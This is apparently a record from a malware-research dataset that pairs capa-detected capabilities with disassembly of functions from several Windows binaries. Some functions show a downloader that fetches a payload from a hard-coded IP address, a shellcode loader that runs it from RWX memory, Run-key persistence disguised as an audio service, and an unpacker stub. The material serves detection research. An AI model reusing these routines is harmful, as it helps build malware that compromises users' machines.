joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180001014
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
mov rcx, qword [0x18000d3a8]
lea r8, [0x1800092b0]
mov edx, 0x65
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rbx, rax
test rax, rax
jne 0x18000104b
xor eax, eax
jmp 0x1800010e7
mov rcx, qword [0x18000d3a8]
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x180001044
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
test rax, rax
je 0x180001044
mov rcx, qword [0x18000d3a8]
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
test eax, eax
je 0x180001044
and qword [rsp + 0x30], 0
mov esi, dword [rdi]
mov r8d, 2
lea rcx, [0x18000d2a0]
xor r9d, r9d
mov edx, 0x40000000
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r8d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1800010e2
and qword [rsp + 0x20], 0
lea rdx, [rdi + 4]
lea r9, [rsp + 0x50]
mov r8d, esi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov rbx, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret

Function at 0x1800010f8
Capabilities:
Create process on windows

Disassembly:
push rbx
sub rsp, 0xe0
xor eax, eax
xor ebx, ebx
lea rcx, [rsp + 0x78]
lea r8d, [rbx + 0x60]
xor edx, edx
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
call fcn.1800011f0
lea rax, [rsp + 0x50]
lea rdx, [0x18000d2a0]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
xor ecx, ecx
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x70], 0x68
mov dword [rsp + 0x20], ebx
mov word [rsp + 0xb0], bx
mov dword [rsp + 0xac], 0x81
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x180001198
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0xe0
pop rbx
ret
Function at 0x180007daf
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x18000cf70]
jne 0x180005a7a
rol rcx, 0x10
test cx, 0xffff
jne 0x180005a76
repz ret
ror rcx, 0x10
jmp 0x180007d08
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x18000dee0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x18000dfd8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x180007d8d
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x18000dee0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x180007daf
mov rax, qword [rsp + 0x88]
mov qword [0x18000dfd8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x18000df78], rax
mov rax, qword [0x18000dfd8]
mov qword [0x18000de50], rax
mov rax, qword [rsp + 0x90]
mov qword [0x18000df60], rax
mov dword [0x18000de40], 0xc0000409
mov dword [0x18000de44], 1
mov rax, qword [0x18000cf70]
mov qword [rsp + 0x68], rax
mov rax, qword [0x18000cf78]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x18000ded8], eax
mov ecx, 1
call fcn.180005a80
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x18000ab80]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x18000ded8], 0
jne 0x180007e36
mov ecx, 1
call fcn.180005a80
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x180007ed0
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x18000cf70]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.180002928
xor ebx, ebx
cmp qword [0x18000e3b8], rbx
mov rdi, rax
jne 0x180007fe3
lea rcx, [0x18000ac00]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x1800080ba
lea rdx, [0x18000abf0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1800080ba
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, [0x18000abe0]
mov rcx, rsi
mov qword [0x18000e3b8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, [0x18000abc8]
mov rcx, rsi
mov qword [0x18000e3c0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, [0x18000aba8]
mov rcx, rsi
mov qword [0x18000e3c8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x18000e3d8], rax
test rax, rax
je 0x180007fda
lea rdx, [0x18000ab90]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x18000e3d0], rax
jmp 0x180007fea
mov rax, qword [0x18000e3d0]
jmp 0x180007ff1
mov rax, qword [0x18000e3d0]
mov r11, qword [0x18000e3d8]
cmp rax, rdi
je 0x180008058
cmp r11, rdi
je 0x180008058
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x18000e3d8]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x180008058
test rax, rax
je 0x180008058
call rsi
test rax, rax
je 0x180008052
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x180008052
test byte [rsp + 0x40], 1
jne 0x180008058
bts ebp, 0x15
jmp 0x180008098
mov rcx, qword [0x18000e3c0]
cmp rcx, rdi
je 0x180008098
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x180008098
call rax
mov rbx, rax
test rax, rax
je 0x180008098
mov rcx, qword [0x18000e3c8]
cmp rcx, rdi
je 0x180008098
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x180008098
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x18000e3b8]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1800080ba
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x1800080bc
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.180005a60
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140001000
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x460
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x450], rax
mov rsi, rdx
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_FreeConsole]
xor r14d, r14d
lea rcx, [rsp + 0x51]
xor edx, edx
mov r8d, 0x3ff
mov dword [rsp + 0x40], r14d
mov byte [rsp + 0x50], r14b
call sub.MSVCR110.dll_memset
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov edi, r14d
mov dword [rsp + 0x20], r14d
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rbp, rax
test rax, rax
je 0x140001114
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], 0x80000100
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
je 0x14000110b
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x50]
lea edx, [r14 + 5]
mov rcx, rax
mov qword [rsp + 0x20], r14
call qword [sym.imp.WININET.dll_HttpQueryInfoW]
test eax, eax
je 0x1400010cf
cmp dword [rsp + 0x40], r14d
jbe 0x1400010cf
lea rcx, [rsp + 0x50]
call qword [sym.imp.MSVCR110.dll_atoi]
xor r9d, r9d
mov qword [rsp + 0x30], r14
mov edx, 0x40000000
lea r8d, [r9 + 1]
mov rcx, rsi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x140001120
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
or eax, 0xffffffff
jmp 0x140001186
lea r9, [rsp + 0x40]
lea rdx, [rsp + 0x50]
mov r8d, 0x400
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140001169
mov r8d, dword [rsp + 0x40]
test r8d, r8d
je 0x140001169
lea r9, [rsp + 0x40]
lea rdx, [rsp + 0x50]
mov rcx, rsi
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [rsp + 0x40]
add edi, ecx
test ecx, ecx
jne 0x140001120
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, edi
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.140001310
lea r11, [rsp + 0x460]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x1400011b0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
lea rdx, str.bd_logo1.png
lea rcx, str.http:__10.211.55.14:324_output_64.bin
call section..text
lea rdx, [0x140002238]
lea rcx, str.bd_logo1.png
call qword [sym.imp.MSVCR110.dll_fopen]
xor edx, edx
lea r8d, [rdx + 2]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.MSVCR110.dll_fseek]
mov rcx, rbx
call qword [sym.imp.MSVCR110.dll_ftell]
xor r8d, r8d
xor edx, edx
mov rcx, rbx
movsxd rsi, eax
call qword [sym.imp.MSVCR110.dll_fseek]
mov rcx, rsi
call qword [sym.imp.MSVCR110.dll_malloc]
mov r9, rbx
mov r8d, 1
mov rcx, rax
mov rdx, rsi
mov rdi, rax
call qword [sym.imp.MSVCR110.dll_fread]
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rsi
mov rdx, rdi
mov rcx, rax
mov rbx, rax
call sub.MSVCR110.dll_memcpy
call rbx
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
xor eax, eax
add rsp, 0x20
pop rdi
ret
Function at 0x140056b00
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x140056b0d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x140056b1d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x140056b05
lea eax, [rcx + 1]
jmp 0x140056b2b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x140056b3e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x140056b24
sub eax, 3
jb 0x140056b5e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x140056bad
sar eax, 1
movsxd rbp, eax
jb 0x140056b94
jmp 0x140056b6c
add ebx, ebx
jne 0x140056b6a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140056b94
inc ecx
add ebx, ebx
jne 0x140056b7a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140056b94
call r11
adc ecx, ecx
add ebx, ebx
jne 0x140056b8d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x140056b7c
add ecx, 2
jmp 0x140056b99
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.140056ac2
jmp 0x140056b0d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x28a00
mov dl, 0x11
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x140056bf9
cmp rsi, rcx
jae 0x140056c01
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x140056be0
cmp al, 0x8f
ja 0x140056be0
cmp byte [rsi - 2], 0xf
je 0x140056be6
sub al, 0xe8
cmp al, 1
ja 0x140056bca
cmp rsi, rcx
jae 0x140056c01
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x140056bd0
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x140056c01
lodsb al, byte [rsi]
jmp 0x140056be0
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x54000]
mov eax, dword [rdi]
or eax, eax
je 0x140056c6a
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x5773c]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x140056c0e
jns 0x140056c43
movzx rdx, word [rdi]
add rdi, 2
jmp 0x140056c4d
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x140056c64
mov qword [rbx], rax
add rbx, 8
jmp 0x140056c2e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x140056ca4
cmp al, 0xef
ja 0x140056c96
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x140056c76
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x140056c85
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x237]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x140056cf8
sub rsp, 0xffffffffffffff80
jmp 0x14000b340
Function at 0x140003150
Capabilities:
Write file on windows

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x60
mov rax, qword [0x140010010]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov dil, 1
cmp qword [rcx + 0x68], 0
je 0x1400031fc
mov rsi, rcx
cmp byte [rcx + 0x71], 0
je 0x1400031fc
mov rax, qword [rsi]
mov rcx, rsi
mov edx, 0xffffffff
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x1400031fa
mov rcx, qword [rsi + 0x68]
lea r9, [rsp + 0x50]
lea rdx, [rsi + 0x74]
mov rax, qword [rcx]
lea rbx, [rsp + 0x28]
mov qword [rsp + 0x20], rbx
lea rdi, [rsp + 0x30]
mov r8, rdi
call qword [rax + 0x40]
cmp eax, 3
je 0x140003213
cmp eax, 1
je 0x1400031c7
test eax, eax
jne 0x1400031fa
mov byte [rsi + 0x71], 0
mov rbx, qword [rsp + 0x28]
sub rbx, rdi
je 0x1400031f0
mov r9, qword [rsi + 0x80]
lea rcx, [rsp + 0x30]
mov edx, 1
mov r8, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rbx, rax
jne 0x1400031fa
cmp byte [rsi + 0x71], 0
sete dil
jmp 0x1400031fc
xor edi, edi
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14000a540
mov eax, edi
add rsp, 0x60
pop rbx
pop rdi
pop rsi
ret
mov dil, 1
jmp 0x1400031fc
Function at 0x14001108c
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
jmp 0x140015680
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x118
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0xa
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x138]
mov rax, qword [0x140024278]
xor rax, rbp
mov qword [rbp + 0xd8], rax
lea rcx, [0x14002a1ba]
call fcn.140011613
lea r8, [rbp + 8]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
je 0x1400156f8
lea rcx, str.____Error_during_creation_of_a_key_in_the_Windows_Registry._n_n
call fcn.1400112d5
mov eax, 1
jmp 0x140015769
mov rcx, qword [rbp + 0x100]
call fcn.14001129e
inc eax
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x100]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.Rtk_audioservice
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x140015751
lea rcx, str.____Error_during_the_settings_of_a_key_in_the_Windows_Registry._n_n
call fcn.1400112d5
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
jmp 0x140015769
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, str.___EXE_added_to_Startup_n_n
call fcn.1400112d5
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14001f560]
call fcn.140011528
mov rax, rdi
mov rcx, qword [rbp + 0xd8]
xor rcx, rbp
call fcn.1400112f3
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret
Function at 0x140011366
Capabilities:
Terminate process

Disassembly:
jmp 0x1400175c0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140011451
Capabilities:
Parse pe header

Disassembly:
jmp 0x140018910
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140018930
xor al, al
jmp 0x1400189b1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140018943
xor al, al
jmp 0x1400189b1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001896d
xor al, al
jmp 0x1400189b1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140018981
xor al, al
jmp 0x1400189b1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140018993
xor al, al
jmp 0x1400189b1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400189af
xor al, al
jmp 0x1400189b1
mov al, 1
add rsp, 0x38
ret
Function at 0x1400114ec
Capabilities:
Enumerate process modules

Disassembly:
jmp 0x140014da0
mov qword [rsp + 8], rcx
push rbp
push rdi
mov eax, 0x1968
call fcn.140011113
sub rsp, rax
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x4d2
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1988]
mov rax, qword [0x140024278]
xor rax, rbp
mov qword [rbp + 0x1938], rax
lea rcx, [0x14002a1ba]
call fcn.140011613
lea r8, [rbp + 0x1024]
mov edx, 0x1000
lea rcx, [rbp + 0x10]
call fcn.140011262
test eax, eax
jne 0x140014e1e
lea rcx, str.____EnumProcesses_function_failed_n
call fcn.1400112d5
mov eax, 1
jmp 0x140014f85
mov eax, dword [rbp + 0x1024]
xor edx, edx
mov ecx, 4
div rcx
mov dword [rbp + 0x1044], eax
mov dword [rbp + 0x1064], 0
jmp 0x140014e4e
mov eax, dword [rbp + 0x1064]
inc eax
mov dword [rbp + 0x1064], eax
mov eax, dword [rbp + 0x1044]
cmp dword [rbp + 0x1064], eax
jae 0x140014f77
mov eax, dword [rbp + 0x1064]
mov r8d, dword [rbp + rax*4 + 0x10]
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x1088], rax
cmp qword [rbp + 0x1088], 0
je 0x140014f72
lea r9, [rbp + 0x10c4]
mov r8d, 8
lea rdx, [rbp + 0x10a8]
mov rcx, qword [rbp + 0x1088]
call fcn.140011087
test eax, eax
je 0x140014f65
mov r9d, 0x104
lea r8, [rbp + 0x10f0]
mov rdx, qword [rbp + 0x10a8]
mov rcx, qword [rbp + 0x1088]
call fcn.14001102d
test eax, eax
je 0x140014f65
lea r9, [rbp + 0x10c4]
lea r8, [rbp + 0x1220]
xor edx, edx
mov rcx, qword [rbp + 0x1088]
call qword [sym.imp.KERNEL32.dll_QueryFullProcessImageNameA]
test eax, eax
je 0x140014f65
mov rdx, qword [rbp + 0x1960]
lea rcx, [rbp + 0x10f0]
call fcn.140011118
test rax, rax
jne 0x140014f2e
mov rdx, qword [rbp + 0x1960]
lea rcx, [rbp + 0x1220]
call fcn.140011118
test rax, rax
je 0x140014f65
mov eax, dword [rbp + 0x1064]
mov r8d, dword [rbp + rax*4 + 0x10]
lea rdx, [rbp + 0x10f0]
lea rcx, str.___Process_found:__s__PID:__d__n_n
call fcn.1400112d5
mov rcx, qword [rbp + 0x1088]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp + 0x1064]
mov eax, dword [rbp + rax*4 + 0x10]
jmp 0x140014f85
mov rcx, qword [rbp + 0x1088]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140014e40
lea rcx, str.____Process_not_found_n
call fcn.1400112d5
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001f080]
call fcn.140011528
mov rax, rdi
mov rcx, qword [rbp + 0x1938]
xor rcx, rbp
call fcn.1400112f3
lea rsp, [rbp + 0x1948]
pop rdi
pop rbp
ret
Function at 0x14000b0b4
Capabilities:
Query service status

Disassembly:
mov rax, rsp
push r14
sub rsp, 0x70
mov qword [rax - 0x50], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rax, qword [0x1401620b0]
xor rax, rsp
mov qword [rsp + 0x60], rax
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov r14, rax
xor edi, edi
test rax, rax
je 0x14000b1d9
mov qword [rsp + 0x30], r14
mov r8d, 5
lea rdx, str.NvContainerLocalSystem
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rsi, rax
test rax, rax
jne 0x14000b137
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x424
sete dil
jmp 0x14000b1cd
mov qword [rsp + 0x38], rsi
lea rdx, [rsp + 0x40]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x14000b15a
mov eax, dword [rsp + 0x44]
add eax, 0xfffffffe
cmp eax, 5
jbe 0x14000b1c3
mov dword [rsp + 0x20], edi
lea r9, [rsp + 0x20]
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_QueryServiceConfigW]
test eax, eax
jne 0x14000b1c3
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x14000b1c3
mov ebx, dword [rsp + 0x20]
mov ecx, ebx
call fcn.140097754
mov rbp, rax
lea r9, [rsp + 0x20]
mov r8d, ebx
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_QueryServiceConfigW]
test eax, eax
je 0x14000b1b0
cmp dword [rbp + 4], 2
setne dil
jmp 0x14000b1b5
test rbp, rbp
je 0x14000b1c3
mov edx, 0x40
mov rcx, rbp
call fcn.1400974a0
nop
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
nop
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov al, dil
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140097440
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret

Function at 0x14000b4b4
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x260
mov rax, qword [0x1401620b0]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov ebx, edx
mov qword [rsp + 0x30], rcx
mov rdi, rcx
xor edx, edx
lea rcx, [rsp + 0x40]
mov r8d, 0x20a
call fcn.1400b6460
lea rax, [rsp + 0x40]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov edx, ebx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
xor ecx, ecx
test eax, eax
js 0x14000b562
mov qword [rdi + 0x10], rcx
lea rax, [rsp + 0x40]
mov qword [rdi + 0x18], 7
or r8, 0xffffffffffffffff
mov word [rdi], cx
inc r8
cmp word [rax + r8*2], cx
jne 0x14000b527
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.140005dd4
mov rax, rdi
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.140097440
mov rbx, qword [rsp + 0x280]
add rsp, 0x260
pop rdi
ret
lfence
mov r8d, reloc.OLEAUT32.dll_SafeArrayLock
lea rdx, str.C:dvsp4_build_sw_relgfclient_rel_03_27_backendClientCommon_srcClientPaths.cpp
mov ecx, eax
call fcn.14000b32c
int3